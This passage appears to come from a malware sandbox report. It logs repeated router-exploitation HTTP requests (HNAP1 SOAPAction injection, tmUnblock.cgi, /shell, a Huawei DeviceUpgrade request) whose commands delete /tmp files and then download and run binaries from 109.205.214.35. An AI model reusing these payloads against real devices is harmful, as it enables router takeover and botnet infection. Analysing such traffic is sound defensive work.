xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://109.205.214.35/mips && chmod +x mips;./mips hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://109.205.214.35/mips && chmod +x mips;./mips hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://109.205.214.35/mips && chmod +x mips;./mips hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://109.205.214.35/mips && chmod +x mips;./mips hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wgeData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 3b 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 